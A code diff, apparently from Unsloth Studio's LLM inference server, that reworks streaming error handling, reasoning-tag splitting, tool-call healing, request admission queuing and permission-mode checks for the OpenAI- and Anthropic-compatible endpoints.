+            except GenStreamErrorRaised as exc:
+                # Adapter-controlled (compare-mode) backend failure. Honor the
+                # public flag so operational errors surface their real message.
+                backend.reset_generation_state()
+                _msg = _friendly_gen_stream_error(exc)
+                api_monitor.fail(monitor_id, _msg)
+                yield _openai_stream_error_sse({"error": {"message": _msg, "type": "server_error"}})
             except Exception as e:
                 backend.reset_generation_state()
                 logger.error(f"Error during OpenAI streaming: {e}", exc_info = True)
@@ -6934,13 +10101,25 @@ async def openai_chat_completions(
                         "type": "server_error",
                     },
                 }
-                yield f"data: {json.dumps(error_chunk)}\n\n"
+                yield _openai_stream_error_sse(error_chunk)
             finally:
                 await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
+                # Drain a still-running next(gen) worker before closing: closing
+                # mid-next(gen) raises ValueError('generator already executing') and
+                # skips the generator's cleanup finally. Matches the safetensors stream.
+                await _drain_pending_next_task(_next_task, cancel_event)
+                if gen is not None:
+                    try:
+                        # Offload the close so the generator's cleanup runs off the event
+                        # loop (matches the GGUF SSE path); a disconnect can't stall the loop.
+                        await asyncio.to_thread(gen.close)
+                    except (RuntimeError, ValueError):
+                        pass
                 _tracker.__exit__(None, None, None)
 
         return _SameTaskStreamingResponse(
             stream_chunks(),
+            unstarted_cleanup = _tracked_cancel_unstarted_cleanup(_tracker),
             media_type = "text/event-stream",
             headers = {
                 "Cache-Control": "no-cache",
@@ -6954,26 +10133,118 @@ async def openai_chat_completions(
         try:
             full_text = ""
             for token in generate():
+                if isinstance(token, GenStreamError):
+                    backend.reset_generation_state()
+                    _msg = _friendly_gen_stream_error(token)
+                    api_monitor.fail(monitor_id, _msg)
+                    raise HTTPException(status_code = 500, detail = _msg)
                 full_text = token
 
+            # Split prefilled <think> reasoning (GGUF parity); also covers MLX via
+            # the shared generate(). Client-tool healing then runs on the visible
+            # text so tool markup inside a reasoning block is never promoted.
+            _reasoning_text, _visible_text = _extract_responses_reasoning(
+                full_text,
+                parse_think_markers = _sf_parse_think,
+                reasoning_prefilled = _sf_reasoning_prefilled,
+            )
+            # Client-tool passthrough: promote text-form calls; opt-in single
+            # nudge retry on unparseable tool markup.
+            _msg = {"role": "assistant", "content": _visible_text}
+            if _reasoning_text:
+                _msg["reasoning_content"] = _reasoning_text
+            _finish = "stop"
+            if _sf_heal:
+                if heal_openai_message(_msg, _sf_heal, payload.tools):
+                    _finish = "tool_calls"
+                elif nudge_enabled(payload.nudge_tool_calls):
+                    _data = {
+                        "choices": [{"message": {"role": "assistant", "content": _visible_text}}]
+                    }
+                    if nudge_should_retry(_data, _sf_heal, payload.tools):
+                        # A failed retry must not 500 the request; keep the first
+                        # response (GGUF nudge parity). The retry's generate()
+                        # overwrites stats_holder, so save the first attempt's stats
+                        # and restore them if the retry is discarded.
+                        _first_stats = stats_holder.get("stats")
+                        try:
+                            retry_text = ""
+                            for token in generate(
+                                [*gen_kwargs["messages"], *nudge_messages(_data, _sf_heal)]
+                            ):
+                                retry_text = token
+                            # Re-split reasoning on the retry so its visible text is
+                            # what heals into a call (and reaches the monitor).
+                            _retry_reasoning, _retry_visible = _extract_responses_reasoning(
+                                retry_text,
+                                parse_think_markers = _sf_parse_think,
+                                reasoning_prefilled = _sf_reasoning_prefilled,
+                            )
+                            retry_msg = {"role": "assistant", "content": _retry_visible}
+                            if _retry_reasoning:
+                                retry_msg["reasoning_content"] = _retry_reasoning
+                            if heal_openai_message(retry_msg, _sf_heal, payload.tools):
+                                _visible_text, _msg, _finish = (
+                                    _retry_visible,
+                                    retry_msg,
+                                    "tool_calls",
+                                )
+                            else:
+                                # Retry produced no healable call -> first response wins.
+                                stats_holder["stats"] = _first_stats
+                        except Exception as retry_exc:
+                            logger.debug(
+                                "Nudge retry failed; keeping first response: %s", retry_exc
+                            )
+                            stats_holder["stats"] = _first_stats
+                # parallel_tool_calls=false: cap to one call (GGUF parity).
+                if payload.parallel_tool_calls is False:
+                    _tcs = _msg.get("tool_calls")
+                    if isinstance(_tcs, list) and len(_tcs) > 1:
+                        _msg["tool_calls"] = _tcs[:1]
+
             response = ChatCompletion(
                 id = completion_id,
                 created = created,
                 model = model_name,
                 choices = [
                     CompletionChoice(
-                        message = CompletionMessage(content = full_text),
-                        finish_reason = "stop",
+                        message = CompletionMessage(
+                            content = _msg["content"],
+                            reasoning_content = _msg.get("reasoning_content"),
+                            tool_calls = _msg.get("tool_calls"),
+                        ),
+                        finish_reason = _finish,
                     )
                 ],
             )
-            api_monitor.set_reply(monitor_id, full_text)
+            _monitor_reply = _msg.get("content") or ""
+            if _finish == "tool_calls":
+                _tcs = _msg.get("tool_calls") or []
+                _calls_text = "; ".join(
+                    f"{(tc.get('function') or {}).get('name', '')}"
+                    f"({(tc.get('function') or {}).get('arguments', '')})"
+                    for tc in _tcs
+                )
+                _monitor_reply = (_msg.get("content") or "") + (
+                    f"[tool_calls] {_calls_text}" if _calls_text else ""
+                )
+            api_monitor.set_reply(monitor_id, _monitor_reply)
             _stats = stats_holder.get("stats")
             if _stats:
                 _monitor_usage(monitor_id, _stats.get("usage"))
             api_monitor.finish(monitor_id)
             return _model_json_response(response)
 
+        except HTTPException:
+            raise
+        except GenStreamErrorRaised as exc:
+            # Adapter-controlled (compare-mode) backend failure. Honor the public
+            # flag so operational errors surface their real message.
+            backend.reset_generation_state()
+            _msg = _friendly_gen_stream_error(exc)
+            api_monitor.fail(monitor_id, _msg)
+            raise HTTPException(status_code = 500, detail = _msg)
         except Exception as e:
             backend.reset_generation_state()
             logger.error(f"Error during OpenAI completion: {e}", exc_info = True)
@@ -7344,7 +10615,7 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
     if not llama_backend.is_loaded:
         raise HTTPException(
             status_code = 503,
-            detail = "No GGUF model loaded. Load a GGUF model first.",
+            detail = _no_model_loaded_detail("No GGUF model loaded. Load a GGUF model first."),
         )
     if not isinstance(body, dict):
         # Re-read to re-raise a malformed-body error (post-503, pre-feature behavior);
@@ -7353,8 +10624,12 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
         if not isinstance(body, dict):
             raise HTTPException(status_code = 400, detail = "Request body must be a JSON object")
 
-    if body.get("max_tokens") is None:
-        body["max_tokens"] = llama_backend.context_length or _DEFAULT_MAX_TOKENS_FLOOR
+    _resolved_max_tokens = _effective_openai_max_tokens_from_values(body.get("max_tokens"))
+    body["max_tokens"] = (
+        _resolved_max_tokens
+        if _resolved_max_tokens is not None
+        else (llama_backend.context_length or _DEFAULT_MAX_TOKENS_FLOOR)
+    )
     target_url = f"{llama_backend.base_url}/v1/completions"
     is_stream = body.get("stream", False)
     prompt_text = _flatten_monitor_prompt(body.get("prompt", ""))
@@ -7447,7 +10722,7 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
                     logger.error("openai_completions stream error: %s", e)
                     api_monitor.fail(monitor_id, _friendly_error(e))
                     error_chunk = _openai_stream_error_chunk(e)
-                    yield f"data: {json.dumps(error_chunk)}\n\n".encode("utf-8")
+                    yield _openai_stream_error_sse_bytes(error_chunk)
                     return
                 api_monitor.finish(monitor_id, "cancelled")
                 return
@@ -7462,7 +10737,7 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge
                 logger.error("openai_completions stream error: %s", e)
                 api_monitor.fail(monitor_id, _friendly_error(e))
                 error_chunk = _openai_stream_error_chunk(e)
-                yield f"data: {json.dumps(error_chunk)}\n\n".encode("utf-8")
+                yield _openai_stream_error_sse_bytes(error_chunk)
                 return
             finally:
                 await _aclose_stream_resources(
@@ -7556,7 +10831,7 @@ async def openai_embeddings(request: Request, current_subject: str = Depends(get
     if not llama_backend.is_loaded:
         raise HTTPException(
             status_code = 503,
-            detail = "No GGUF model loaded. Load a GGUF model first.",
+            detail = _no_model_loaded_detail("No GGUF model loaded. Load a GGUF model first."),
         )
     if not isinstance(body, dict):
         # Re-read to re-raise a malformed-body error (post-503, pre-feature behavior);
@@ -7790,10 +11065,18 @@ def _responses_marker_holdback(text: str, markers: tuple[str, ...]) -> int:
 class _ResponsesReasoningExtractor:
     """Split local <think> markup into Responses reasoning and visible text."""
 
-    def __init__(self, *, parse_think_markers: bool = False) -> None:
+    def __init__(
+        self,
+        *,
+        parse_think_markers: bool = False,
+        reasoning_prefilled: bool = False,
+    ) -> None:
         self._buffer = ""
-        self._in_reasoning = False
-        self._parse_think_markers = parse_think_markers
+        # reasoning_prefilled: the template inserts an unclosed <think>, so output begins inside
+        # the block; start in reasoning until the first close tag. Existing callers pass False.
+        self._in_reasoning = reasoning_prefilled
+        # Splitting requires marker parsing; a prefilled open implies it.
+        self._parse_think_markers = parse_think_markers or reasoning_prefilled
 
     def feed(
         self,
@@ -7816,14 +11099,21 @@ class _ResponsesReasoningExtractor:
             if self._in_reasoning:
                 close_idx = self._buffer.find(_RESPONSES_THINK_CLOSE)
                 if close_idx != -1:
-                    reasoning_parts.append(self._buffer[:close_idx])
+                    reasoning_parts.append(
+                        self._buffer[:close_idx].replace(_RESPONSES_THINK_OPEN, "")
+                    )
                     self._buffer = self._buffer[close_idx + len(_RESPONSES_THINK_CLOSE) :]
                     self._in_reasoning = False
                     continue
-                keep = _responses_marker_holdback(self._buffer, (_RESPONSES_THINK_CLOSE,))
+                # Hold back a trailing partial of either marker: the close (clean split across chunks)
+                # and a stray open (a re-emitted <think> is suppressed, not leaked).
+                keep = _responses_marker_holdback(
+                    self._buffer, (_RESPONSES_THINK_CLOSE, _RESPONSES_THINK_OPEN)
+                )
                 if keep == len(self._buffer):
                     break
-                reasoning_parts.append(self._buffer[:-keep] if keep else self._buffer)
+                emit = self._buffer[:-keep] if keep else self._buffer
+                reasoning_parts.append(emit.replace(_RESPONSES_THINK_OPEN, ""))
                 self._buffer = self._buffer[-keep:] if keep else ""
                 break
 
@@ -7860,7 +11150,7 @@ class _ResponsesReasoningExtractor:
             return "", remaining
         if self._in_reasoning:
             self._in_reasoning = False
-            return remaining, ""
+            return remaining.replace(_RESPONSES_THINK_OPEN, ""), ""
         return "", remaining.replace(_RESPONSES_THINK_CLOSE, "")
 
 
@@ -7869,8 +11159,12 @@ def _extract_responses_reasoning(
     reasoning_content: Any = None,
     *,
     parse_think_markers: bool = False,
+    reasoning_prefilled: bool = False,
 ) -> tuple[str, str]:
-    extractor = _ResponsesReasoningExtractor(parse_think_markers = parse_think_markers)
+    extractor = _ResponsesReasoningExtractor(
+        parse_think_markers = parse_think_markers,
+        reasoning_prefilled = reasoning_prefilled,
+    )
     reasoning, visible = extractor.feed(text, reasoning_content)
     final_reasoning, final_visible = extractor.finish()
     return reasoning + final_reasoning, visible + final_visible
@@ -8277,7 +11571,7 @@ async def _responses_stream(
         # so the client sees a useful error instead of a dangling stream.
         raise HTTPException(
             status_code = 400,
-            detail = (
+            detail = _no_model_loaded_detail(
                 "Streaming /v1/responses requires a GGUF model loaded via "
                 "llama-server. Use non-streaming /v1/responses, "
                 "/v1/chat/completions, or load a GGUF model."
@@ -8299,6 +11593,52 @@ async def _responses_stream(
     )
     body["stream_options"] = {"include_usage": True}
     target_url = f"{llama_backend.base_url}/v1/chat/completions"
+    try:
+        reservation, admission_config = _openai_llama_admission_reserve(
+            request = request,
+            llama_backend = llama_backend,
+        )
+    except LlamaAdmissionQueueFull as exc:
+        _openai_admission_log(
+            "queue-full",
+            snapshot = exc.snapshot,
+            request = request,
+            mode = "responses_stream",
+            completion_id = resp_id,
+            level = "warning",
+        )
+        api_monitor.fail(monitor_id, str(exc))
+        raise _openai_admission_http_exception(exc, status_code = 429)
+
+    def _responses_admission_failed_sse(exc: Exception, *, status_code: int) -> str:
+        return (
+            "event: response.failed\n"
+            "data: "
+            + json.dumps(
+                {
+                    "type": "response.failed",
+                    "response": {
+                        "id": resp_id,
+                        "object": "response",
+                        "created_at": created_at,
+                        "status": "failed",
+                        "model": _llama_public_model_id(llama_backend, payload.model)
+                        or payload.model,
+                        "output": [],
+                        "usage": {
+                            "input_tokens": 0,
+                            "output_tokens": 0,
+                            "total_tokens": 0,
+                        },
+                        "error": {
+                            "code": status_code,
+                            "message": str(exc),
+                        },
+                    },
+                }
+            )
+            + "\n\n"
+        )
 
     async def event_generator():
         # Clean public id for every response envelope. Prefer the loaded model's
@@ -9108,14 +12448,111 @@ async def _responses_stream(
         api_monitor.finish(monitor_id)
         yield _sse("response.completed", completed_response)
 
+    async def admitted_event_generator():
+        lease = reservation.lease_nowait()
+        admission_wait_started_at = None
+        stream_started = False
+        stream_cancelled = False
+        iterator = None
+        try:
+            if lease is None:
+                admission_wait_started_at = time.monotonic()
+                _openai_admission_log(
+                    "queued",
+                    reservation,
+                    request = request,
+                    mode = "responses_stream",
+                    completion_id = resp_id,
+                    level = "debug",
+                )
+                async for wait_item in _openai_admission_wait_stream_chunks(
+                    reservation,
+                    admission_config,
+                    request = request,
+                    cancel_event = None,
+                ):
+                    if isinstance(wait_item, str):
+                        yield wait_item
+                        continue
+                    lease = wait_item
+                    _openai_admission_log(
+                        "granted-after-wait",
+                        reservation,
+                        request = request,
+                        mode = "responses_stream",
+                        wait_started_at = admission_wait_started_at,
+                        completion_id = resp_id,
+                        level = "debug",
+                    )
+                    break
+            if lease is None:
+                return
+            await _raise_if_openai_admission_cancelled(
+                reservation,
+                request = request,
+                cancel_event = None,
+            )
+            iterator = event_generator()
+            stream_started = True
+            try:
+                async for chunk in iterator:
+                    yield chunk
+            except asyncio.CancelledError:
+                stream_cancelled = True
+                api_monitor.finish(monitor_id, "cancelled")
+                raise
+            finally:
+                await _close_openai_admitted_stream_iterator(
+                    iterator,
+                    cancelled = stream_cancelled,
+                )
+        except LlamaAdmissionTimeout as exc:
+            _openai_admission_log(
+                "timeout",
+                reservation,
+                request = request,
+                mode = "responses_stream",
+                wait_started_at = admission_wait_started_at,
+                completion_id = resp_id,
+                level = "warning",
+            )
+            api_monitor.fail(monitor_id, str(exc))
+            yield _responses_admission_failed_sse(exc, status_code = 503)
+        except LlamaAdmissionCancelled:
+            _openai_admission_log(
+                "cancelled-before-upstream",
+                reservation,
+                request = request,
+                mode = "responses_stream",
+                wait_started_at = admission_wait_started_at,
+                completion_id = resp_id,
+                level = "debug",
+            )
+            api_monitor.finish(monitor_id, "cancelled")
+            return
+        except asyncio.CancelledError:
+            api_monitor.finish(monitor_id, "cancelled")
+            raise
+        finally:
+            if lease is not None:
+                lease.release()
+            if not stream_started:
+                api_monitor.finish(monitor_id, "cancelled")
+                reservation.cancel()
+
+    async def _responses_admission_unstarted_cleanup() -> None:
+        api_monitor.finish(monitor_id, "cancelled")
+        reservation.cancel()
+
     return _SameTaskStreamingResponse(
-        event_generator(),
+        admitted_event_generator(),
         media_type = "text/event-stream",
         headers = {
             "Cache-Control": "no-cache",
             "Connection": "close",
             "X-Accel-Buffering": "no",
         },
+        unstarted_cleanup = _responses_admission_unstarted_cleanup,
     )
 
 
@@ -9225,6 +12662,13 @@ _STUDIO_ANTHROPIC_TOOL_ALIASES = {
     "python": "python",
     "terminal": "terminal",
 }
+# Server tools that never need a confirmation prompt (read-only / non code-
+# executing; mirrors the unconditional-safe names in is_potentially_unsafe_tool_call).
+# Any other selected tool (terminal, python, render_html) can require the gate
+# this channel has no way to present, so an omitted permission_mode ("ask") only
+# asks then. render_html is excluded because a networked canvas prompts in auto,
+# and this channel invokes the loop without confirm; auto/ask reject, off/full run.
+_ANTHROPIC_UNPROMPTED_SAFE_TOOLS = frozenset({"web_search", "search_knowledge_base"})
 
 
 def _anthropic_requested_studio_tools(tools: Optional[list]) -> set[str]:
@@ -9246,7 +12690,7 @@ def _anthropic_requested_studio_tools(tools: Optional[list]) -> set[str]:
 def _select_anthropic_server_tools(
     all_tools: list[dict], requested_studio_tools: set[str], enabled_tools: Optional[list[str]]
 ) -> list[dict]:
-    """Select Studio tools requested through Anthropic tools and extensions."""
+    """Select Unsloth tools requested through Anthropic tools and extensions."""
     if not requested_studio_tools and enabled_tools is None:
         return all_tools
 
@@ -9373,7 +12817,7 @@ async def anthropic_count_tokens(
     if not llama_backend.is_loaded:
         raise HTTPException(
             status_code = 503,
-            detail = "No GGUF model loaded. Load a GGUF model first.",
+            detail = _no_model_loaded_detail("No GGUF model loaded. Load a GGUF model first."),
         )
 
     # Same Anthropic → OpenAI translation as anthropic_messages: system is
@@ -9385,8 +12829,11 @@ async def anthropic_count_tokens(
     # Apply the same sanitization /messages does before generation, so the count
     # matches the prompt the real request would build (otherwise empty-assistant
     # sentinels / synthetic tool history inflate the count or hit the fallback).
-    openai_messages = _strip_provider_synthetic_tool_history(
-        _drop_empty_assistant_sentinels(openai_messages)
+    # Coalesce adjacent user turns left behind by dropping an empty / null assistant
+    # turn, so a strict GGUF chat template does not 400 on non-alternating roles
+    # (mirrors the GGUF chat path); a no-op for already-alternating histories.
+    openai_messages = _coalesce_consecutive_user_turns(
+        _strip_provider_synthetic_tool_history(_drop_empty_assistant_sentinels(openai_messages))
     )
     openai_tools = anthropic_tools_to_openai(payload.tools or []) or None
 
@@ -9443,7 +12890,7 @@ async def anthropic_messages(
     if not llama_backend.is_loaded and not _automatic_model_load_may_run():
         raise HTTPException(
             status_code = 503,
-            detail = "No GGUF model loaded. Load a GGUF model first.",
+            detail = _no_model_loaded_detail("No GGUF model loaded. Load a GGUF model first."),
         )
 
     # max_tokens is a required field on the Anthropic Messages API; real Anthropic
@@ -9482,6 +12929,53 @@ async def anthropic_messages(
             ),
         )
 
+    # Reject an unsupported confirm-gated permission mode for Unsloth's own
+    # ("server") Anthropic tools before the switch, mirroring the malformed- and
+    # mixed-tool checks above. ask always wants a per-call pause this passthrough
+    # cannot offer, so it 400s whenever server tools are selected. auto only needs
+    # the gate for an unsafe call, so (like the omitted default) it runs for a
+    # safe-only selection (web_search/RAG) and 400s when a gate-needing tool is
+    # selected (local terminal/python, or render_html whose networked canvas
+    # prompts and cannot be gated on this channel). Rejecting must happen before the
+    # switch so an invalid request never evicts the resident model; it is
+    # determined from the requested tools alone (backend tool support is only known
+    # post-switch); an image request can never take the server-tool path, so it is
+    # excluded as in the server_tools gate below. off/full and an explicit
+    # confirm_tool_calls=False opt-out always pass.
+    _enable_pre = _effective_enable_tools(payload)
+    _server_tools_requested_pre = (
+        _enable_pre or (_enable_pre is None and bool(requested_studio_tools))
+    ) and not _anthropic_request_has_image(payload)
+    if _server_tools_requested_pre:
+        from core.inference.tools import ALL_TOOLS as _ALL_TOOLS_PRE
+
+        _selected_pre = _select_anthropic_server_tools(
+            _ALL_TOOLS_PRE, requested_studio_tools, payload.enabled_tools
+        )
+        _perm_mode_pre = getattr(payload, "permission_mode", None)
+        _confirm_opt_out_pre = getattr(payload, "confirm_tool_calls", None) is False
+        _gated_tool_selected_pre = any(
+            tool["function"]["name"] not in _ANTHROPIC_UNPROMPTED_SAFE_TOOLS
+            for tool in _selected_pre
+        )
+        # An explicit confirm_tool_calls=False opts out of the gate entirely (it
+        # wins over the mode, mirroring _permission_mode_confirm and the GGUF path),
+        # so it never rejects -- not even under ask.
+        if not _confirm_opt_out_pre and (
+            _perm_mode_pre == "ask"
+            or (_perm_mode_pre in ("auto", None) and _gated_tool_selected_pre)
+        ):
+            raise HTTPException(
+                status_code = 400,
+                detail = anthropic_error_body(
+                    "permission_mode 'ask' has no confirmation channel for Anthropic "
+                    "Messages server tools, and 'auto' (or the omitted default) cannot "
+                    "gate a local 'terminal'/'python' tool here; set 'off' or 'full'.",
+                    status = 400,
+                    err_type = "invalid_request_error",
+                ),
+            )
+
     # require_vision rejects a swap to a text-only target before it runs, so an
     # image request can't evict the resident vision model only to hit the vision
     # guard (_normalize_anthropic_openai_images) below after the load.
@@ -9494,7 +12988,7 @@ async def anthropic_messages(
     if not llama_backend.is_loaded:
         raise HTTPException(
             status_code = 503,
-            detail = "No GGUF model loaded. Load a GGUF model first.",
+            detail = _no_model_loaded_detail("No GGUF model loaded. Load a GGUF model first."),
         )
 
     # Advertised repo id after an auto-switch load, else a clean public id, never
@@ -9514,8 +13008,11 @@ async def anthropic_messages(
     # builders apply the same strip; without it an Anthropic /v1/messages caller
     # replaying a prior provider-side tool_use forwards fake builtin tool
     # history to a backend with no matching function declarations.
-    openai_messages = _strip_provider_synthetic_tool_history(
-        _drop_empty_assistant_sentinels(openai_messages)
+    # Coalesce adjacent user turns left behind by dropping an empty / null assistant
+    # turn, so a strict GGUF chat template does not 400 on non-alternating roles
+    # (mirrors the GGUF chat path); a no-op for already-alternating histories.
+    openai_messages = _coalesce_consecutive_user_turns(
+        _strip_provider_synthetic_tool_history(_drop_empty_assistant_sentinels(openai_messages))
     )
 
     # Enforce vision guard + re-encode embedded images to PNG so the Anthropic
@@ -9564,7 +13061,9 @@ async def anthropic_messages(
         and not _has_image
     )
     client_tools = (
-        not server_tools and len(openai_client_tools) > 0 and llama_backend.supports_tools
+        not server_tools
+        and len(openai_client_tools) > 0
+        and getattr(llama_backend, "supports_tool_passthrough", llama_backend.supports_tools)
     )
 
     # Anthropic tool_choice.disable_parallel_tool_use caps the response to a
@@ -9676,6 +13175,10 @@ async def anthropic_messages(
             )
         from core.inference.tools import ALL_TOOLS
 
+        # ask/auto (and an omitted mode selecting a gate-needing terminal/python
+        # tool) were already rejected before the auto-switch above, so an invalid
+        # confirm-gated request never evicts the resident model; the selection
+        # here just picks the tools for the actual server-tool loop.
         openai_tools = _select_anthropic_server_tools(
             ALL_TOOLS,
             requested_studio_tools,
@@ -9697,10 +13200,16 @@ async def anthropic_messages(
             else:
                 openai_messages.insert(0, {"role": "system", "content": _nudge})
 
-        # Strip stale tool-call XML from conversation
+        # Strip stale tool-call XML via the protected display helper (think rehearsal and [TOOL_CALLS]
+        # prose survive), gated on enabled tool names so documented inactive examples are kept.
+        _anthropic_history_gate = _display_tool_name_gate(openai_tools)
         for _msg in openai_messages:
             if _msg.get("role") == "assistant" and isinstance(_msg.get("content"), str):
-                _msg["content"] = _TOOL_XML_RE.sub("", _msg["content"]).strip()
+                _msg["content"] = _strip_tool_xml_for_display(
+                    _msg["content"],
+                    auto_heal_tool_calls = True,
+                    enabled_tool_names = _anthropic_history_gate,
+                ).strip()
 
         def _run_tool_gen():
             return llama_backend.generate_chat_completion_with_tools(
@@ -9717,12 +13226,15 @@ async def anthropic_messages(
                 cancel_event = cancel_event,
                 max_tool_iterations = 25,
                 auto_heal_tool_calls = True,
+                nudge_tool_calls = payload.nudge_tool_calls,
                 tool_call_timeout = 300,
                 session_id = payload.session_id,
+                thread_id = payload.thread_id,
                 # Anthropic passthrough has no rag_scope field (RAG is local-only).
                 rag_scope = getattr(payload, "rag_scope", None),
                 disable_parallel_tool_use = _disable_parallel,
                 bypass_permissions = bool(payload.bypass_permissions),
+                permission_mode = getattr(payload, "permission_mode", None),
             )
 
         if payload.stream:
@@ -9745,6 +13257,7 @@ async def anthropic_messages(
                 message_id,
                 model_name,
                 disable_parallel_tool_use = _disable_parallel,
+                openai_tools = openai_tools,
             )
         )
 
@@ -9798,6 +13311,10 @@ async def _anthropic_tool_stream(
     """Streaming response for the tool-calling path."""
     _sentinel = object()
 
+    # Gate the display strip on the declared tools: an inactive NAME[ARGS]{...} in a final
+    # answer is prose and must survive in the delivered text.
+    _display_names = _display_tool_name_gate(openai_tools)
+
     # Prompt-token count for message_start.usage.input_tokens. count_chat_tokens
     # makes blocking HTTP calls to llama-server, so run it off the event loop.
     # Pass the tools so tool-schema tokens are counted (the generator renders
@@ -9821,13 +13338,14 @@ async def _anthropic_tool_stream(
         ends_on_tool_use = False
         tool_blocks_emitted = 0
         drop_until_tool_end = False
+        # Last drop-branch keepalive, seeded to stream start so a chatty tool busy
+        # past the stall window still gets a keepalive though its events are dropped.
+        _last_drop_keepalive = time.monotonic()
 
         gen = run_gen()
-        # Concurrent disconnect watcher: the loop only polls is_disconnected()
-        # between events, so a client disconnect during a long prefill or
-        # generation step would otherwise hold the decode slot until the next
-        # event or a failed send. The watcher sets cancel_event so the backend
-        # stops promptly.
+        _next_task = None
+        # Watcher to cancel on disconnect: the in-loop poll fires only between
+        # events, so a mid-prefill disconnect would otherwise hold the decode slot.
         disconnect_watcher = asyncio.create_task(
             _await_disconnect_then_cancel(request, cancel_event)
         )
@@ -9836,13 +13354,42 @@ async def _anthropic_tool_stream(
                 if cancel_event.is_set() or await request.is_disconnected():
                     cancel_event.set()
                     return
-                event = await asyncio.to_thread(next, gen, _sentinel)
+                # Stall keepalive (see GGUF tool stream): silent backend segments
+                # must not leave the SSE stream idle past proxy timeouts.
+                _next_task = asyncio.create_task(asyncio.to_thread(next, gen, _sentinel))
+                while True:
+                    _done_tasks, _ = await asyncio.wait(
+                        {_next_task},
+                        timeout = _LOCAL_TOOL_STREAM_STALL_KEEPALIVE_S,
+                    )
+                    if _done_tasks:
+                        break
+                    yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE
+                event = _next_task.result()
+                # Done; drop the reference so the finally-block drain no-ops.
+                _next_task = None
                 if event is _sentinel:
                     break
                 etype = event.get("type")
+                if etype == "heartbeat":
+                    # Tool-wrapper heartbeat -> SSE keepalive, checked BEFORE the drop
+                    # skip: a dropped tool still runs server-side and its events keep the
+                    # stall keepalive from firing, so dropping heartbeats would go silent.
+                    yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE
+                    continue
+                if etype in ("tool_output", "tool_args"):
+                    # Live stdout / arg streaming have no Anthropic Messages equivalent
+                    # (the full call/result follow in tool_use / tool_result), so drop them.
+                    # They keep the stall keepalive from firing, so a chatty tool would go
+                    # silent past the ~100s proxy cap; emit a rate-limited keepalive instead.
+                    _now = time.monotonic()
+                    if _now - _last_drop_keepalive >= _LOCAL_TOOL_STREAM_STALL_KEEPALIVE_S:
+                        _last_drop_keepalive = _now
+                        yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE
+                    continue
                 if drop_until_tool_end:
-                    # disable_parallel_tool_use: a later tool call is being
-                    # dropped — skip every event until (and including) its tool_end.
+                    # disable_parallel_tool_use: skip every event until (and
+                    # including) this dropped tool call's tool_end.
                     if etype == "tool_end":
                         drop_until_tool_end = False
                     continue
@@ -9852,9 +13399,15 @@ async def _anthropic_tool_stream(
                         captured_finish_reason = _fr
                 # Strip leaked tool-call XML from content events first, so a
                 # content event that was purely tool XML doesn't count as text.
+                # Protected helper preserves <think> rehearsal and balanced
+                # [TOOL_CALLS] trailing prose (raw _TOOL_XML_RE.sub corrupts both).
                 if etype == "content":
                     event = dict(event)
-                    event["text"] = _TOOL_XML_RE.sub("", event["text"])
+                    event["text"] = _strip_tool_xml_for_display(
+                        event["text"],
+                        auto_heal_tool_calls = True,
+                        enabled_tool_names = _display_names,
+                    )
                 # disable_parallel_tool_use: keep only the first tool_use block,
                 # dropping every later tool_start and its paired tool_end (robust
                 # to empty tool-call ids — tracked by state, not id matching).
@@ -9865,11 +13418,11 @@ async def _anthropic_tool_stream(
                     ends_on_tool_use = True
                 elif etype == "tool_end":
                     tool_blocks_emitted += 1
-                    # A tool_end means Studio executed the tool server-side, so
+                    # A tool_end means Unsloth executed the tool server-side, so
                     # the response no longer ends on a pending client action.
                     # Without this, a server tool that produces no trailing text
                     # would be mislabeled stop_reason "tool_use", telling the
-                    # client to run a tool Studio already ran.
+                    # client to run a tool Unsloth already ran.
                     ends_on_tool_use = False
                 elif etype == "content" and event.get("text"):
                     ends_on_tool_use = False
@@ -9877,12 +13430,24 @@ async def _anthropic_tool_stream(
                     yield line
         except Exception as e:
             logger.error("anthropic_messages stream error: %s", e)
-            _error_event = _anthropic_stream_error_event(e)
+            # force = True so an unclassified mid-stream failure (llama-server crash,
+            # decode OOM, dropped socket) still emits an SSE error and returns, instead
+            # of a normal message_stop that masks a truncated turn as a clean finish.
+            _error_event = _anthropic_stream_error_event(e, force = True)
             if _error_event is not None:
                 yield _error_event
                 return
         finally:
             await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
+            # Drain a still-running next(gen) worker before closing, so a mid-prefill
+            # disconnect releases the thread/generator/tool resources. Closing first
+            # would race into ValueError('generator already executing').
+            await _drain_pending_next_task(_next_task, cancel_event)
+            if gen is not None:
+                try:
+                    await asyncio.to_thread(gen.close)
+                except (RuntimeError, ValueError):
+                    pass
 
         stop_reason = openai_finish_to_anthropic_stop(
             captured_finish_reason, had_tool_calls = ends_on_tool_use
@@ -9919,11 +13484,9 @@ async def _anthropic_plain_stream(
         captured_finish_reason = None
 
         gen = run_gen()
-        # Concurrent disconnect watcher: the loop only polls is_disconnected()
-        # between chunks, so a client disconnect during a long prefill or
-        # generation step would otherwise hold the decode slot until the next
-        # chunk or a failed send. The watcher sets cancel_event so the backend
-        # stops promptly.
+        _next_task = None
+        # Watcher to cancel on disconnect: the in-loop poll fires only between
+        # chunks, so a mid-prefill disconnect would otherwise hold the decode slot.
         disconnect_watcher = asyncio.create_task(
             _await_disconnect_then_cancel(request, cancel_event)
         )
@@ -9932,7 +13495,20 @@ async def _anthropic_plain_stream(
                 if cancel_event.is_set() or await request.is_disconnected():
                     cancel_event.set()
                     return
-                cumulative = await asyncio.to_thread(next, gen, _sentinel)
+                # Stall keepalive (see Anthropic tool stream) each window while
+                # next(gen) runs in a worker.
+                _next_task = asyncio.create_task(asyncio.to_thread(next, gen, _sentinel))
+                while True:
+                    _done_tasks, _ = await asyncio.wait(
+                        {_next_task},
+                        timeout = _LOCAL_TOOL_STREAM_STALL_KEEPALIVE_S,
+                    )
+                    if _done_tasks:
+                        break
+                    yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE
+                cumulative = _next_task.result()
+                # Done; drop the reference so the finally-block drain no-ops.
+                _next_task = None
                 if cumulative is _sentinel:
                     break
                 if isinstance(cumulative, dict):
@@ -9948,12 +13524,24 @@ async def _anthropic_plain_stream(
                     yield line
         except Exception as e:
             logger.error("anthropic_messages stream error: %s", e)
